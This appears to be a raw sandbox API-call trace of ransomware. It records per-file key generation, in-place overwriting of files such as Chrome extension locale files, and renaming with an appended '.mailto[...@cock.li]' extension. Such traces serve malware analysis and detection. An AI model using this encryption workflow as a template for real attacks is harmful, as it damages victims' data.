CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.790] GetLastError () returned 0x5 [0183.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF", dwFileAttributes=0x20) returned 0 [0183.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff80) returned 1 Thread: id = 7649 os_tid = 0x1ab4 [0183.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0183.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF", dwFileAttributes=0x20) returned 0 [0183.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.792] GetLastError () returned 0x5 [0183.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF", dwFileAttributes=0x20) returned 0 [0183.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51490) returned 1 Thread: id = 7670 os_tid = 0x1c78 [0184.289] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json")) returned 0x2020 [0184.289] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", dwFileAttributes=0x20) returned 1 [0187.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x764 [0187.431] GetFileSizeEx (in: hFile=0x764, lpFileSize=0x30dfd10 | out: lpFileSize=0x30dfd10*=222) returned 1 [0187.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af140 [0187.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909460 [0187.431] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909438 [0187.431] NtQuerySystemTime (in: CurrentTime=0x30dfc70 | out: CurrentTime=0x30dfc70*=132174899620198000) returned 0x0 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x357b8dad [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x280f010 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x7e6dd962 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x76d259ec [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x2535ad1b [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x4a44b11c [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x625066f2 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x6969993a [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x7a89c160 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x15bfde05 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x38bff2a6 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x59677b25 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x675c0b14 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x4a5747a5 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x49e3aa7f [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x3b87384d [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x1b45203d [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x56a40481 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x169693eb [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x12dc5241 [0187.431] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x1ac2b303 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x6022e5e [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x692d626d [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x305f5377 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x1254f3f9 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x34115336 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x52ef1ea3 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x450f5a70 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x74b4efa [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x121ecc52 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x3d221ce6 [0187.432] RtlRandomEx (in: Seed=0x30dfc7c | out: Seed=0x30dfc7c) returned 0x748bc452 [0187.444] ReadFile (hFile=0x764, lpBuffer=0x134f1178, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x30dfc6c, lpOverlapped=0x0) [0187.445] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.446] WriteFile (in: hFile=0x764, lpBuffer=0x134fd980*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x30dfc68, lpOverlapped=0x0 | out: lpBuffer=0x134fd980*, lpNumberOfBytesWritten=0x30dfc68*=0xde, lpOverlapped=0x0) returned 1 [0190.021] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af1e0 [0190.021] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0190.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0190.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134fd980) returned 1 [0190.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134f1178) returned 1 [0190.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0190.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9138) returned 1 [0190.021] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938270 [0190.022] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.022] WriteFile (in: hFile=0x764, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x30dfcd0, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0x30dfcd0*=0x10b, lpOverlapped=0x0) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382a0) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938270) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1e0) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909460) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909320) returned 1 [0190.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909410) returned 1 [0190.194] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c9158 [0190.194] wcscpy (in: _Dest=0xd4c9158, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" [0190.194] wcscat (in: _Dest=0xd4c9158, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0190.194] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x30dfc88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0190.194] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x935158 Thread: id = 7671 os_tid = 0xf24 [0184.290] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0184.290] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", dwFileAttributes=0x20) returned 1 [0187.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x116c [0187.447] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x3bdfcc8 | out: lpFileSize=0x3bdfcc8*=224) returned 1 [0187.447] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af140 [0187.447] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909438 [0187.447] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9097d0 [0187.447] NtQuerySystemTime (in: CurrentTime=0x3bdfc28 | out: CurrentTime=0x3bdfc28*=132174899620354000) returned 0x0 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x61755cb2 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x70c56669 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0xd6295a3 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x20957046 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x28056ad6 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0xfa2a31f [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x423cd73 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x4cf7a26f [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x31a77753 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x30d0581e [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0xf117a4c [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x3384cb4e [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x3a3b6441 [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x4d757a5e [0187.447] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x57248ec1 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x592ab21f [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x76a2cb19 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x169339a1 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x69a5f26e [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x288db7f1 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x6dc833c7 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x48566d7c [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x423c4d6c [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x5b6408df [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x1845ba57 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x6301600 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0xedd2423 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x427f18ae [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x5f2c97ae [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x577a4041 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x7e5d3e77 [0187.448] RtlRandomEx (in: Seed=0x3bdfc34 | out: Seed=0x3bdfc34) returned 0x5310437e [0187.461] ReadFile (hFile=0x116c, lpBuffer=0x1350a188, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x3bdfc24, lpOverlapped=0x0) [0187.463] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.463] WriteFile (in: hFile=0x116c, lpBuffer=0x13516990*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x3bdfc20, lpOverlapped=0x0 | out: lpBuffer=0x13516990*, lpNumberOfBytesWritten=0x3bdfc20*=0xe0, lpOverlapped=0x0) returned 1 [0190.025] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c10 [0190.025] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e97b0 [0190.025] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e97b0) returned 1 [0190.025] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13516990) returned 1 [0190.045] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1350a188) returned 1 [0190.049] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0190.049] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9180) returned 1 [0190.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938330 [0190.049] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.049] WriteFile (in: hFile=0x116c, lpBuffer=0x12cf5090*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x3bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x12cf5090*, lpNumberOfBytesWritten=0x3bdfc88*=0x10b, lpOverlapped=0x0) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5090) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938360) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e97b0) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938330) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c10) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909438) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909870) returned 1 [0190.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909708) returned 1 [0190.206] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0xd4c8cc0 [0190.206] wcscpy (in: _Dest=0xd4c8cc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" [0190.206] wcscat (in: _Dest=0xd4c8cc0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0190.206] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3bdfc40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0190.206] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x134e2b30 Thread: id = 7821 os_tid = 0x418 [0184.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9b41c8 [0184.959] wcscpy (in: _Dest=0x9b41c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt" [0184.959] wcscat (in: _Dest=0x9b41c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\" [0184.959] wcscat (in: _Dest=0x9b41c8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*" [0184.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x99fde0 [0184.959] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*", lpFindFileData=0x99fde0 | out: lpFindFileData=0x99fde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942af0 [0184.960] wcscmp (_String1=".", _String2=".") returned 0 [0184.960] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x99fde0 | out: lpFindFileData=0x99fde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.960] wcscmp (_String1="..", _String2=".") returned 1 [0184.960] wcscmp (_String1="..", _String2="..") returned 0 [0184.960] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x99fde0 | out: lpFindFileData=0x99fde0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0184.960] wcscmp (_String1="messages.json", _String2=".") returned 1 [0184.960] wcscmp (_String1="messages.json", _String2="..") returned 1 [0184.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x1338fa70 [0184.960] wcscpy (in: _Dest=0x1338fa70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt" [0184.960] wcscat (in: _Dest=0x1338fa70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\" [0184.960] wcscat (in: _Dest=0x1338fa70, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") 